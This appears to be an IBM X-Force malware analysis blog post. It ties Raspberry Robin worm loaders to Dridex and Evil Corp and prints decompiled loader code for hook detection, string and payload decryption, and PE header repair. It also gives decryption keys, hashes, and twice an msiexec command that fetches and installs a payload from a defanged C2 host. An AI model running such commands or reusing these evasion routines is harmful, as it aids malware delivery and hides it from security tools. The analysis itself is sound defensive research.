


# Raspberry Robin and Dridex: Two Birds of a Feather

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IBM Security Managed Detection and Response (MDR) observations coupled with IBM Security X-Force malware research sheds additional light on the mysterious objectives of the operators behind the Raspberry Robin worm. Based on a comparative analysis between a

downloaded Raspberry Robin DLL and a Dridex malware loader, the results show that they are similar in structure and functionality. Thus, IBM Security research draws another link between the Raspberry Robin infections and the Russia-based cybercriminal group 'Evil Corp,' which is the same group behind the Dridex Malware, suggesting that Evil Corp is likely using Raspberry Robin infrastructure to carry out its attacks.

When Raspberry Robin infection attempts were first observed impacting a few IBM Security MDR customers in mid-May 2022, the enigmatic worm activity began to quickly spread within a client's network from users sharing USB devices. The infections spiked in early June and by early August spikes of Raspberry Robin infection attempts were observed in 17% of worldwide MDR clients in the oil and gas, manufacturing, and transportation industries. This number is significant as historically less than 1% of MDR clients have seen the same strain of malware.

## **Raspberry Robin and Evil Corp Connection**

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The ultimate objective of Raspberry Robin had been unknown. Microsoft researchers observed millions of Raspberry Robin infections, but no evidence of post-infection exploits had been seen in the wild until July 26, 2022, when Microsoft disclosed that they had uncovered existing Raspberry Robin infections delivering FAKEUPDATES malware (aka SocGhosh).

The disclosure by the Microsoft threat researchers revealed that the "... DEV-0206-associated FAKEUPDATES activity on affected systems has since led to follow-on actions resembling DEV-0243 pre-ransomware behavior." This statement indicates a possible relationship between Raspberry Robin and DEV-0243, which the cyber intelligence community tracks as "Evil Corp".

The relationship between the threat actor behind FAKEUPDATES and Evil Corp is not new. Evil Corp had been leveraging FAKEUPDATES since at least April 2018 as the initial infection vector for the info-stealing Dridex malware that later resulted in deployment of DOPPLEPAYMER ransomware.

The US Treasury sanctioned Evil Corp in 2019 but the group had already begun deploying custom ransomware-as-a-service (RaaS) payloads, rebranding them as WastedLocker, before shifting to the well-known RaaS LockBit ransomware. Using RaaS allows Evil Corp to blend in with other affiliates that would hinder attribution and ultimately skirt around sanctions.

## **Raspberry Robin Infection Chain**

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Raspberry Robin, also known as the QNAP worm, is typically delivered by a USB device, which contains a malicious Microsoft shortcut (.LNK) file. Once the user clicks on the .LNK file, it spawns a malicious command referencing `msiexec.exe`, a legitimate Windows system utility, to download and execute an MSI installer from a command and control (C2) domain. The C2 domain is usually recently registered, comprised of a few characters, and hosts a compromised QNAP NAS device that serves up a login page.

The `msiexec` commands observed by the IBM Security MDR team uses mixed-case syntax to evade detection, contain the victim's hostname and username, and connect over a non-standard HTTP port 8080:

```
Command Line: msiexEC /q /I "S8 [.]Cx:8080/random  
string/coMpuTErname=USER"
```

During the infection, `msiexec.exe` also utilizes other legitimate Windows system utilities and tools, known as living-off-the-land binaries (LOLBin) such as `rundll32.exe`, `fodhelper.exe`, `regsvr32.exe`, `dllhost.exe`, and `odbcconf.exe` to load and execute the downloaded Raspberry Robin loader dynamic link libraries (DLL). Representative samples of such DLLs were analyzed in-depth by IBM X-Force reverse engineers.

## X-Force Malware Research

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X-Force analyzed two components that have been attributed to a Raspberry Robin infection. The components are two dynamic link libraries (DLLs) hereafter referred to as Raspberry Robin loaders that were previously analyzed by [Red Canary](#). As mentioned above, the loaders were downloaded as a result of a victim clicking a malicious .LNK file which launched `msiexec` to download and execute an MSI installer. The MSI Installer then drops a Raspberry Robin loader to the system. X-Force reverse engineers performed analysis to provide additional details about the operation and structure of Raspberry Robin loader variants and compared one variant to a 64-bit Dridex loader.

This comparative analysis provided information that helps draw a link between Raspberry Robin infections and Dridex malware loaders. The comparative analysis revealed that the two are very similar in functionality and structure. The intermediate loaders, decoded by each, were also found to be similar, containing code to perform hook detections and using similar algorithms to decode the payload.

## Analysis Details (Raspberry Robin Loaders)

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The Raspberry Robin loaders are DLLs that decode and execute an intermediate loader. The intermediate loader performs hook detection as an anti-analysis technique, decodes its strings at runtime and then decodes a highly obfuscated DLL whose purpose has not been determined.

## Raspberry Robin Loader Variant 1 (SHA256: c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c)

Upon execution, Raspberry Robin Loader variant 1 enters a loop where it calculates the CRC32 hash of an encrypted block of data for 0x13h (29) iterations. One theory is this calculation loop is possibly a delayed attempt as the loader does not appear to use the hash in any additional operations. During stage 1 of the payload decryption process, the DLL utilizes an array of indexes and sizes. Each index points to a block of the encrypted payload. The block is then shifted, and the result is later XOR decrypted with a 64-byte key.




Figure 1 — Structure of the decryption components and encrypted payload embedded in a Raspberry Robin Loader

Additionally, the loader decodes the first 0x117 (279) bytes of its .text PE section starting at raw offset 0x400. The decoding algorithm is represented by the python code below:

```
key = 0xC2D16F15
```

```

dec = bytearray()

for b in data:

key_byte = (key & 0xFF)

dec.append(b ^ key_byte)

key = rotate_right(key, 8)

```

The decoded code finds the loaded **kernel32.dll** by enumerating through loaded modules looking for names that have a “.” as the 16th character and “32” starting at position 12 in the wide-formatted name. The loader continues execution passing the hash value **0xFC910371** and kernel32.dll’s base address to a function that enumerates the library’s export table. This function calculates a hash of each exported function name to resolve the *VirtualAlloc()* API function.

The function *VirtualAlloc()* is used to allocate a buffer to which the first decrypted payload is copied. The payload is then XOR decrypted with a 64-byte key.

## Raspberry Robin Loader Variant 2 (SHA256: 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1)

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Upon execution, Raspberry Robin Loader variant 2 attempts to detect hooks in the function *wg!GetProcAddress()*. This variant attempts to detect hooks in the *LdrLoadDll()* function. This is performed as an anti-analysis technique that helps the malware determine if the process is being monitored by security software. Specifically, the intermediate loader checks for the jump instructions 0xFF25 and 0xB8.

```

int __cdecl recursive_hook_detection_sub_401450(unsigned __int8 *op_code)
{
    bool flag; // [esp+Fh] [ebp-Dh]

    // recursive hook detection
    if ( *op_code == 0xFF && op_code[1] == 0x25 )
        return recursive_hook_detection_sub_401450(**(op_code + 2));
    flag = 0;
    if ( *op_code == 0xB8 )
    {
        flag = 0;
        if ( op_code[3] == 0x50 )
            return op_code[4] == 0xCD;
    }
    return flag;
}

```

Figure 2 — Intermediate Loader’s hook detection function

Then it proceeds to create an 88-byte structure used to store data used during execution. This loader also contains obfuscated notable API function and library names which are decoded by subtracting each byte in the 16-byte key, 0xB6B6AF8660D4760385C431119F7DE2B6, from the encoded string byte.



Next, the loader RC4 decrypts an intermediate loader using the 32-byte key:  
 0x300EAEBAAF2512BFA8B473A085005D629CA9D2A79A8BD924687C04D7605E3015.

Once decrypted, the intermediate loader contains a malformed PE header. The malformed PE header is later patched with the appropriate values to allow execution of the module. Notably, the intermediate loader, discussed in the next section also patches the header of its payload during execution.




Figure 3 — Decrypted intermediate Loader’s malformed PE header

## Intermediate Loader

The intermediate loader is responsible for decrypting and executing the final payload. Ultimately, the intermediate loader copies the final payload to the process space of the original loader, Raspberry Robin Loader variant 2 and then executes it.

During execution, the intermediate loader decodes library and API function names using inline decoding algorithms and then resolves the function addresses via a call to `LdrGetProcedureAddress()`. The function `LdrGetProcedureAddress()` is obtained by enumerating `ntdll.dll`’s export table.

```
handle_relocations(a1->current_loader, a1->field_38);
for ( i = 0; i != 20; i += 4 ) // decode LoadLibraryA
{
    v1 = i[0x403113] - i[0x403070];
    v2 = i[0x403114] - i[0x403071];
    v3 = i[0x403115] - i[0x403072];
    func_name[i + 3] = i[0x403116] - i[0x403073];
    func_name[i + 2] = v3;
    func_name[i + 1] = v2;
    func_name[i] = v1;
}
kernel32_base = get_module_base(0x403020, 0); // kernel32.dll
```

Figure 4 — Inline decoding algorithm used to decode library and API function names.

The decoded library and function names from the intermediate loader are shown below:

LdrGetProcedureAddress  
 kernel32.dll

LoadLibraryA  
GetPrcAddress  
VirtualAlloc  
VirtualProtect

## Comparative Analysis (Raspberry Robin Loader vs. Dridex Loader)

X-Force performed a comparative analysis of a 32-bit Raspberry Robin downloaded loader and a 64-bit Dridex loader. This comparative analysis provided information that draws a link between Raspberry Robin loaders and Dridex malware loaders. The comparative analysis revealed that the two are very similar in functionality and structure. The intermediate loaders decoded the final payload in a similar manner and contained anti-analysis code that performed hook detection in the *LdrLoadDll()* function.

Comparative analysis of the two samples reveals the following:

### File Hashes

Raspberry Robin Loader variant 1	1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1
Dridex Loader	b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

The string decoding algorithms are similar, subtracting the key byte from the encoded byte.

```
decode_sub_4013F0(a1, encoded, i, key[i & 15], i);
```

```
int decode_sub_4013F0(int a1, int encoded, int indx, char key_Byte, ...)  
{  
    int result; // eax  
  
    LOBYTE(result) = *(encoded + indx) - key_Byte;  
    *(a1 + indx) = result;  
    return result;  
}|
```

Raspberry Robin Loader

```
__int64 __fastcall decode_sub_1400132F0(__int64 buffer, __int64 encoded, int size)  
{  
    __int64 result; // rax  
    __int64 indx; // [rsp+0h] [rbp-48h]  
    __int16 v5; // [rsp+36h] [rbp-12h]  
  
    if ( size )  
    {  
        indx = 0i64;  
        do  
        {  
            v5 ^= 0x72E1u;  
            *(buffer + indx) = *(encoded + indx) - key[indx & 15];  
            result = indx + 1;  
            indx = result;  
        }  
        while ( result != size );  
    }  
    return result;  
}|
```

Dridex Loader

Figure 5 — String decoding algorithm found in Raspberry Robin Loader and Dridex Loader

Both contain seemingly random strings in the PE's data section.



Figure 6 — Seemingly random strings found in Raspberry Robin Loader and Dridex Loader

The samples contain similar inline loops that decode notable strings.




Figure 7 — Inline string decoding algorithms found in Raspberry Robin Loader and Dridex Loader



Notably, an RC4 decryption function is called at the end of the function containing the above loops. Subsequently, values such as the encrypted payload offset and size are assigned to a structure as shown below.

```
Raspberry Robin Loader
leads_to_rc4_sub_40C450(base_encoded, base_encoded, size);
result = 0;
v9->encrypted_payload_offset = base_encoded + 0x3CB7;
v9->encrypted_payload_size = 0x84000;
v9->payload_offset = base_encoded + 0x3CE;
v9->dwordC = 0x2290;
return result;

Dridex Loader
rc4_start_sub_140011C20(v23, v23, v17); // Call RC4
result = 0i64;
v5 = v30 ^ 0x5ADF7BB7;
*a1 = v23 + 0x3639; // Set struct values
v28 = 0xD848B89C;
a1[1] = v5;
v29 ^= 0x4EEA02D6i64;
a1[2] = v23 + 0x24;
a1[3] = v12;
return result;
```

Figure 8 — Values assigned to a structure. The values represent the size and offset of the payload

The PE header of the decrypted components is malformed in memory. As a result, the malware “fixes” the component to have the proper header by adding the “MZ (0x4D5A)” magic bytes to the header.

```
Raspberry Robin Loader
IMAGE_DOS_HEADER *__cdecl fix_header_sub_4011A0(IMAGE_DOS_HEADER *PE_Hdr)
{
    _IMAGE_DOS_HEADER *result; // eax

    PE_Hdr->e_magic = 0x5A4D;
    PE_Hdr->e_lfanew = 0xC0;
    result = PE_Hdr;
    *&PE_Hdr[3].e_magic = 0x4550;
    return result;
}

Dridex Loader
__int64 __fastcall fix_hdr_sub_1400013C0(IMAGE_DOS_HEADER *a1)
{
    __int64 v2; // [rsp+0h] [rbp-8h]

    a1->e_magic = 0x5A4D;
    a1->e_lfanew = 0xD8;
    *&a1[3].pe_sig = 0x4550;
    return 0x277705C7 * v2;
}
```

Figure 9 — Malformed header is patched with the appropriate values

## Intermediate Loader Comparisons

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The intermediate loaders between the two are similar containing code to perform hook detection in the `LdrLoadDll()` function. Detecting hooks in the function allows the malware to determine if the process is being monitored by antivirus software.

The final payload is also decoded using the algorithm represented by the following Python code:

```
decrypted_payload = bytearray(payload)

index = 0

size = len(payload)

while index != 254:

    payload_idx = lookup_table[index*4]

    while True:

        if payload_idx >= size:

            break

        key_idx = payload_idx & 0x1F

        key_byte = key[key_idx]

        decrypted_byte = (payload[payload_idx] - key_byte) & 0xFF

        decrypted_payload[payload_idx] = decrypted_byte

        payload_idx += 0xFF

    index += 1
```

## Recommendations

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It is important to note that Raspberry Robin's initial access is by the user plugging in an infected USB drive to a computer, which is a social engineering technique. The [IBM Security MDR](#) team tools effectively block Raspberry Robin. Further, there are multiple detection opportunities for Security professionals to help organizations to detect and prevent Raspberry Robin:

- Implement security awareness training.
- Search for the IOCs in your environment.
- Install/Deploy EDR monitoring solutions.

- Leverage your EDR solution to disable or track USB devices connections.
- Disable the AutoRun feature in the Windows operating system settings.

## IOCs

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### File Hashes

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Raspberry Robin Loader Variant 1      c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c

---

Raspberry Robin Loader Variant 2      1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1

---

Dridex Loader      b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

---

### Command Line


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```
msieXec /q /I "S8 [.]Cx:8080/random string/coMpUTErname=USER"
```

#### Kevin Henson

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Kevin joined IBM Security's X-Force IRIS team as a Malware Reverse Engineer in November 2018 after 21 years of experience in supporting various commercial,...



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